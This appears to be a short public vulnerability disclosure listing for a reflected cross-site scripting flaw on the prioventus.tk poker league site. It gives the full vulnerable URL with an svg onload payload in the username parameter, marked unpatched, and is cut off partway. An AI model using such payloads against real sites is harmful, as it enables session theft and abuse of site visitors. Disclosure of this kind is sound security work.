prioventus.tk XSS vulnerability

Vulnerable URL: https://www.prioventus.tk/online-poker-league/Elementary-League?username=xss%22%3E%3Csvg/onload=prompt%27openbugbounty%27%3Eid=5512195 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 01.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly...